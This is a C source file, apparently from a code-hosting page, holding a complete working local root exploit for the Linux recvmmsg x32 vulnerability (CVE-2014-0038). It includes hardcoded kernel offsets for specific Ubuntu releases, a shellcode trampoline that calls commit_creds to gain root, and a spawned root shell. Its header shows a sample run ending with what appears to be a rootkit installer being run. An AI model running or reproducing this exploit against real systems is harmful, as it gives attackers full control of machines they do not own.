227 lines
6.0 KiB
C
227 lines
6.0 KiB
C
/*
|
|
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
|
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
|
CVE-2014-0038 / x32 ABI with recvmmsg
|
|
by rebel @ irc.smashthestack.org
|
|
-----------------------------------
|
|
|
|
takes about 13 minutes to run because timeout->tv_sec is decremented
|
|
once per second and 0xff*3 is 765.
|
|
|
|
some things you could do while waiting:
|
|
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
|
|
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
|
|
* brew some coffee
|
|
* stare at the countdown giggly with anticipation
|
|
|
|
could probably whack the high bits of some pointer with nanoseconds,
|
|
but that would require a bunch of nulls before the pointer and then
|
|
reading an oops from dmesg which isn't that elegant.
|
|
|
|
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
|
|
|
|
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
|
|
anyway..
|
|
|
|
same principle will work on 32bit but I didn't really find any major
|
|
distros shipping with CONFIG_X86_X32=y
|
|
|
|
user@ubuntu:~$ uname -a
|
|
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
|
|
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
|
|
user@ubuntu:~$ ./recvmmsg
|
|
byte 3 / 3.. ~0 secs left.
|
|
w00p w00p!
|
|
# id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
# sh phalanx-2.6b-x86_64.sh
|
|
unpacking..
|
|
|
|
:)=
|
|
|
|
greets to my homeboys kaliman, beist, capsl & all of #social
|
|
|
|
Sat Feb 1 22:15:19 CET 2014
|
|
% rebel %
|
|
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <netinet/ip.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h>
|
|
#include <unistd.h>
|
|
#include <sys/syscall.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/types.h>
|
|
#include <sys/stat.h>
|
|
#include <fcntl.h>
|
|
#include <sys/utsname.h>
|
|
|
|
#define __X32_SYSCALL_BIT 0x40000000
|
|
#undef __NR_recvmmsg
|
|
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
|
#define VLEN 1
|
|
#define BUFSIZE 200
|
|
|
|
int port;
|
|
|
|
struct offset {
|
|
char *kernel_version;
|
|
unsigned long dest; // net_sysctl_root + 96
|
|
unsigned long original_value; // net_ctl_permissions
|
|
unsigned long prepare_kernel_cred;
|
|
unsigned long commit_creds;
|
|
};
|
|
|
|
struct offset offsets[] = {
|
|
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
|
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
|
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
|
{NULL,0,0,0,0}
|
|
};
|
|
|
|
void udp(int b) {
|
|
int sockfd;
|
|
struct sockaddr_in servaddr,cliaddr;
|
|
int s = 0xff+1;
|
|
|
|
if(fork() == 0) {
|
|
while(s > 0) {
|
|
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
|
sleep(1);
|
|
s--;
|
|
fprintf(stderr,".");
|
|
}
|
|
|
|
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
|
bzero(&servaddr,sizeof(servaddr));
|
|
servaddr.sin_family = AF_INET;
|
|
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
|
servaddr.sin_port=htons(port);
|
|
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
|
exit(0);
|
|
}
|
|
|
|
}
|
|
|
|
void trigger() {
|
|
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
|
|
|
if(getuid() != 0) {
|
|
fprintf(stderr,"not root, ya blew it!\n");
|
|
exit(-1);
|
|
}
|
|
|
|
fprintf(stderr,"w00p w00p!\n");
|
|
system("/bin/sh -i");
|
|
}
|
|
|
|
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
|
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
|
_commit_creds commit_creds;
|
|
_prepare_kernel_cred prepare_kernel_cred;
|
|
|
|
// thx bliss
|
|
static int __attribute__((regparm(3)))
|
|
getroot(void *head, void * table)
|
|
{
|
|
commit_creds(prepare_kernel_cred(0));
|
|
return -1;
|
|
}
|
|
|
|
void __attribute__((regparm(3)))
|
|
trampoline()
|
|
{
|
|
asm("mov $getroot, %rax; call *%rax;");
|
|
}
|
|
|
|
int main(void)
|
|
{
|
|
int sockfd, retval, i;
|
|
struct sockaddr_in sa;
|
|
struct mmsghdr msgs[VLEN];
|
|
struct iovec iovecs[VLEN];
|
|
char buf[BUFSIZE];
|
|
long mmapped;
|
|
struct utsname u;
|
|
struct offset *off = NULL;
|
|
|
|
uname(&u);
|
|
|
|
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
|
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
|
off = &offsets[i];
|
|
break;
|
|
}
|
|
}
|
|
|
|
if(!off) {
|
|
fprintf(stderr,"no offsets for this kernel version..\n");
|
|
exit(-1);
|
|
}
|
|
|
|
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
|
mmapped &= 0x000000ffffffffff;
|
|
|
|
srand(time(NULL));
|
|
port = (rand() % 30000)+1500;
|
|
|
|
commit_creds = (_commit_creds)off->commit_creds;
|
|
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
|
|
|
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
|
|
|
if(mmapped == -1) {
|
|
perror("mmap()");
|
|
exit(-1);
|
|
}
|
|
|
|
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
|
|
|
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
|
|
|
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
|
perror("mprotect()");
|
|
exit(-1);
|
|
}
|
|
|
|
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
|
if (sockfd == -1) {
|
|
perror("socket()");
|
|
exit(-1);
|
|
}
|
|
|
|
sa.sin_family = AF_INET;
|
|
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
|
sa.sin_port = htons(port);
|
|
|
|
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
|
perror("bind()");
|
|
exit(-1);
|
|
}
|
|
|
|
memset(msgs, 0, sizeof(msgs));
|
|
|
|
iovecs[0].iov_base = &buf;
|
|
iovecs[0].iov_len = BUFSIZE;
|
|
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
|
msgs[0].msg_hdr.msg_iovlen = 1;
|
|
|
|
for(i=0;i < 3 ;i++) {
|
|
udp(i);
|
|
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
|
if(!retval) {
|
|
fprintf(stderr,"\nrecvmmsg() failed\n");
|
|
}
|
|
}
|
|
|
|
close(sockfd);
|
|
|
|
fprintf(stderr,"\n");
|
|
|
|
trigger();
|
|
}
|